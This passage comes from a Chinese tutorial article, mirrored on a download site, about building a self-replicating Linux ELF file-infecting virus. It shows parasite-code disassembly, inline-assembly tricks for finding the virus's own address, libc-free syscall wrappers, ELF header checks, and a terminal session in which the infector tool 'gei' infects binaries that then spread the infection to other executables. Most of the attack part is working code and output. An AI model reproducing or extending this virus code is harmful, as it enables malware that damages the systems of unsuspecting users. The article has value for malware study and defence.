⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 763.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 4 页
字号:
0x08048cb4 &lt;parasite_code+4&gt;: sub $0x20bc,%esp <br />
0x08048cba &lt;parasite_code+10&gt;: push %eax <br />
0x08048cbb &lt;parasite_code+11&gt;: push %ecx <br />
0x08048cbc &lt;parasite_code+12&gt;: push %edx <br />
0x08048cbd &lt;parasite_code+13&gt;: xor %ecx,%ecx <br />
0x08048cbf &lt;parasite_code+15&gt;: movw $0x2e,0x4e(%esp) &lt;-- curdir的初始化 <br />
0x08048cc6 &lt;parasite_code+22&gt;: lea 0x4e(%esp),%ebx &lt;-- 作为参数使用 <br />
0x08048cca &lt;parasite_code+26&gt;: mov $0x5,%eax <br />
0x08048ccf &lt;parasite_code+31&gt;: mov %ecx,%edx <br />
0x08048cd1 &lt;parasite_code+33&gt;: int $0x80 &lt;-- g_open系统调用 <br />
... <br />
从注释可以看出,加入了这段代码后,程序编译正确,避免了这个编译器bug。 <br />
<br />
6 通过C语言和inline保证病毒代码的可读性和可移植性 <br />
<br />
用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差,这也是使用汇编语言写 <br />
程序的一个普遍的缺点。 <br />
在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的 <br />
限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码 <br />
层次分明,保证可读性。 <br />
<br />
7 病毒代码复制时如何获得自己的起始地址? <br />
<br />
虽然,病毒代码部分向ELF Infector提供了代码的起始地址,保证了生成第一个带毒 <br />
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播 <br />
时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新 <br />
定位自己的起始位置。 <br />
<br />
在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并 <br />
不是一个最好的方法: <br />
<br />
/* Get start address of virus code */ <br />
__asm__ volatile ( <br />
&quot;jmp get_start_addr\n&quot; <br />
&quot;infect_start:\n\t&quot; <br />
&quot;popl %0\n\t&quot; <br />
:&quot;=m&quot; (para_code_start_addr) <br />
:); <br />
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1; <br />
<br />
... /* c代码 */ <br />
... <br />
<br />
__asm__ volatile ( <br />
... <br />
&quot;get_start_addr:\n\t&quot; <br />
&quot;call infect_start\n&quot; <br />
&quot;return:\n\t&quot; <br />
&quot;push $0xAABBCCDD\n\t&quot; /* push ret_addr */ <br />
&quot;ret\n&quot; <br />
::); <br />
<br />
通过缓冲区溢出中的一个技巧,jmp/call组合来得到push $0xAABBCCDD指令的地址。 <br />
这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于 <br />
存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道 <br />
的,就是病毒代码函数向ELF Infector接口提供的那个宏定义的值: <br />
#ifndef NDEBUG <br />
#define PARACODE_RETADDR_ADDR_OFFSET 1704 <br />
#else <br />
#define PARACODE_RETADDR_ADDR_OFFSET 1232 <br />
#endif <br />
<br />
这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后, <br />
para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减 <br />
一个push指令的长度,就是病毒代码的起始地址): <br />
<br />
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1; <br />
<br />
<br />
8 抛弃C库 <br />
<br />
由于病毒代码要能在不同的ELF文件内容工作,所以我们必须要保证所有的相关函数 <br />
调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点,即使有的C库函 <br />
数是可以完全内联的(完全内联就是说,这个函数本身可以内联,同时其内部没有向 <br />
外的函数调用),但是随着编译环境的不同,这点也是不能得到根本保证的,因此我 <br />
们有必要选择抛弃C库。 <br />
<br />
没有了C库,我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有 <br />
两种情况,一种是系统调用,另一种是普通的函数。 <br />
<br />
对于系统调用,我们采用了重新包装的方法: <br />
static inline <br />
g_syscall3(int, write, int, fd, const void *, buf, off_t, count); <br />
static inline <br />
g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); <br />
static inline <br />
g_syscall3(int, open, const char *, file, int, flag, int, mode); <br />
static inline <br />
g_syscall1(int, close, int, fd); <br />
static inline <br />
g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot, <br />
int, flags, int, fd, off_t, offset); <br />
static inline <br />
g_syscall2(int, munmap, void *, addr, size_t, len); <br />
static inline <br />
g_syscall2(int, rename, const char *, oldpath, const char *, newpath); <br />
static inline <br />
g_syscall2(int, fstat, int, filedes, struct stat *, buf); <br />
<br />
并且修改了syscall包装的宏定义,如 <br />
#define g__syscall_return(type, res) \ <br />
do { \ <br />
if ((unsigned long)(res) &gt;= (unsigned long)(-125)) { \ <br />
res = -1; \ <br />
} \ <br />
return (type) (res); \ <br />
} while (0) <br />
<br />
#define g_syscall0(type,name) \ <br />
type g_##name(void) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile (&quot;int $0x80&quot; \ <br />
: &quot;=a&quot; (__res) \ <br />
: &quot;0&quot; (__NR_##name)); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
对于普通的函数,直接复制一份函数定义: <br />
static inline void * __memcpy(void * to, const void * from, size_t n) <br />
{ <br />
int d0, d1, d2; <br />
__asm__ __volatile__( <br />
&quot;rep ; movsl\n\t&quot; <br />
&quot;testb $2,%b4\n\t&quot; <br />
&quot;je 1f\n\t&quot; <br />
&quot;movsw\n&quot; <br />
&quot;1:\ttestb $1,%b4\n\t&quot; <br />
&quot;je 2f\n\t&quot; <br />
&quot;movsb\n&quot; <br />
&quot;2:&quot; <br />
: &quot;=&amp;c&quot; (d0), &quot;=&amp;D&quot; (d1), &quot;=&amp;S&quot; (d2) <br />
:&quot;0&quot; (n/4), &quot;q&quot; (n),&quot;1&quot; ((long) to),&quot;2&quot; ((long) from) <br />
: &quot;memory&quot;); <br />
return (to); <br />
} <br />
<br />
9 保证病毒代码的瘦身需要 <br />
<br />
为了保证病毒代码体积不至于过于庞大,影响病毒代码的感染,编写代码时也要注意 <br />
代码体积问题。由于采用C代码的方式,一些函数调用都是内联的方式,因此每多一个 <br />
调用都会引起代码体积的增加。 <br />
在进行ELF文件读写更是如此,read/write被频繁的调用。为了减小这方面的影响,对 <br />
目标ELF文件进行了一个mmap处理,这样地址空间直接被映射到文件,就消除了读目标 <br />
文件时所要做的read调用,节省了一些空间: <br />
<br />
ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); <br />
if (ehdr == MAP_FAILED) { <br />
goto err; <br />
} <br />
<br />
/* Check ELF magic-ident */ <br />
if (ehdr-&gt;e_ident[EI_MAG0] != 0x7f <br />
|| ehdr-&gt;e_ident[EI_MAG1] != &#39;E&#39; <br />
|| ehdr-&gt;e_ident[EI_MAG2] != &#39;L&#39; <br />
|| ehdr-&gt;e_ident[EI_MAG3] != &#39;F&#39; <br />
|| ehdr-&gt;e_ident[EI_CLASS] != ELFCLASS32 <br />
|| ehdr-&gt;e_ident[EI_DATA] != ELFDATA2LSB <br />
|| ehdr-&gt;e_ident[EI_VERSION] != EV_CURRENT <br />
|| ehdr-&gt;e_type != ET_EXEC <br />
|| ehdr-&gt;e_machine != EM_386 <br />
|| ehdr-&gt;e_version != EV_CURRENT <br />
) { <br />
V_DEBUG_WRITE(1, &amp;err_type, sizeof(err_type)); <br />
goto err; <br />
} <br />
<br />
当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的 <br />
代码体积还在合理的范围, <br />
在调试状态和标准状态分别是1744和1248 <br />
#ifndef NDEBUG <br />
#define PARACODE_LENGTH 1744 <br />
#else <br />
#define PARACODE_LENGTH 1248 <br />
#endif <br />
<br />
10 数据结构的不一致 <br />
<br />
与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过 <br />
包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。 <br />
<br />
struct dirent { <br />
long d_ino; <br />
unsigned long d_off; <br />
unsigned short d_reclen; <br />
char d_name[256]; /* We must not include limits.h! */ <br />
}; <br />
<br />
struct stat { <br />
unsigned long st_dev; <br />
unsigned long st_ino; <br />
unsigned short st_mode; <br />
unsigned short st_nlink; <br />
unsigned short st_uid; <br />
unsigned short st_gid; <br />
unsigned long st_rdev; <br />
unsigned long st_size; <br />
unsigned long st_blksize; <br />
unsigned long st_blocks; <br />
unsigned long st_atime; <br />
unsigned long st_atime_nsec; <br />
unsigned long st_mtime; <br />
unsigned long st_mtime_nsec; <br />
unsigned long st_ctime; <br />
unsigned long st_ctime_nsec; <br />
unsigned long __unused4; <br />
unsigned long __unused5; <br />
}; <br />
<br />
五、** 在一个新的编译环境下的调试方法 <br />
<br />
grip2@linux:~/tmp/virus&gt; ls <br />
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h <br />
<br />
调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项 <br />
grip2@linux:~/tmp/virus&gt; cat Makefile <br />
all: foo gei <br />
gei: g-elf-infector.c gvirus.o <br />
gcc -O2 $&lt; gvirus.o -o gei -Wall #-DNDEBUG <br />
foo: foo.c <br />
gcc $&lt; -o foo <br />
gvirus.o: gvirus.c <br />
gcc $&lt; -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG <br />
clean: <br />
rm *.o -rf <br />
rm foo -rf <br />
rm gei -rf <br />
<br />
编译代码 <br />
grip2@linux:~/tmp/virus&gt; make <br />
gcc foo.c -o foo <br />
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG <br />
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG <br />
<br />
先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义 <br />
grip2@linux:~/tmp/virus&gt; ./gei -l &lt;-- 这里获取病毒代码的长度 <br />
Parasite code length: 1744 <br />
<br />
获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移 <br />
grip2@linux:~/tmp/virus&gt; objdump -d gei|grep aabbccdd <br />
8049427: 68 dd cc bb aa push $0xaabbccdd <br />
grip2@linux:~/tmp/virus&gt; objdump -d gei|grep &quot;&lt;parasite_code&gt;&quot; <br />
08048d80 &lt;parasite_code&gt;: <br />
8049450: e9 2b f9 ff ff jmp 8048d80 &lt;parasite_code&gt; <br />
grip2@linux:~/tmp/virus&gt; objdump -d gei|grep &quot;&lt;parasite_code&gt;:&quot; <br />
08048d80 &lt;parasite_code&gt;: <br />
<br />
0x8049427与0x8048d80相减即获得我们需要的偏移, <br />
用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值 <br />
<br />
重新编译 <br />
grip2@linux:~/tmp/virus&gt; make clean <br />
rm *.o -rf <br />
rm foo -rf <br />
rm gei -rf <br />
grip2@linux:~/tmp/virus&gt; make <br />
gcc foo.c -o foo <br />
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG <br />
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG <br />
<br />
grip2@linux:~/tmp/virus&gt; ls <br />
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c <br />
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h <br />
<br />
建立一个测试目录,测试一下 <br />
grip2@linux:~/tmp/virus&gt; mkdir test <br />
grip2@linux:~/tmp/virus&gt; cp gei foo test <br />
grip2@linux:~/tmp/virus&gt; cd test <br />
grip2@linux:~/tmp/virus/test&gt; ls <br />
gei foo <br />
grip2@linux:~/tmp/virus/test&gt; cp foo h <br />
<br />
制作带毒程序 <br />
grip2@linux:~/tmp/virus/test&gt; ./gei h <br />
file size: 8668 <br />
e_phoff: 00000034 <br />
e_shoff: 00001134 <br />
e_phentsize: 00000020 <br />
e_phnum: 00000008 <br />
e_shentsize: 00000028 <br />
e_shnum: 00000025 <br />
text segment file offset: 0 <br />
[15 sections patched] <br />
grip2@linux:~/tmp/virus/test&gt; ll <br />
total 44 <br />
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei <br />
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h <br />
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo <br />
<br />
运行带毒程序 <br />
grip2@linux:~/tmp/virus/test&gt; ./h <br />
. <br />
.. <br />
gei <br />
foo <br />
h <br />
.backup.h <br />
real elf point <br />
grip2@linux:~/tmp/virus/test&gt; ll <br />
total 52 <br />
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei <br />
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h <br />
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo <br />
<br />
测试上面带毒程序运行后,是否感染了其他ELF程序 <br />
grip2@linux:~/tmp/virus/test&gt; ./foo <br />
. <br />
.. <br />
gei <br />
Better luck next file <br />
foo <br />
h <br />
Better luck next file <br />
.backup.h <br />
Better luck next file <br />
real elf point <br />
<br />
OK,成功 <br />
grip2@linux:~/tmp/virus/test&gt; cp ../foo hh <br />
grip2@linux:~/tmp/virus/test&gt; ll <br />
total 64 <br />
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei <br />
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h <br />
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh <br />
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo <br />
<br />
grip2@linux:~/tmp/virus/test&gt; ./foo <br />
. <br />
.. <br />
gei <br />
Better luck next file <br />
foo <br />
h <br />
Better luck next file <br />
.backup.h <br />
Better luck next file <br />
hh <br />
real elf point <br />
grip2@linux:~/tmp/virus/test&gt; <br />
<br />
六、** 最后 <br />
<br />
由于我既不是一个virus coder也不是一个anti-virus coder,所以对病毒 <br />
技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到 <br />
位,还请指正,谢谢。 <br />
<br />
<br />
七、** 参考文献 <br />
<br />
1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》 <br />
<br />
2 ELF文档 <br />
<br />
3 更多的安全技术交流 <br />
<a href='http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&' target='_blank'>http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&</a> <br />
Number=479955&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=31&amp;fpart= <br />
<br />
<br />
八、** 附录 - ELF文件感染工具和病毒原型源代码 <br />
<br />
------------------------------ g-elf_infector.c ------------------------------ <br />

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -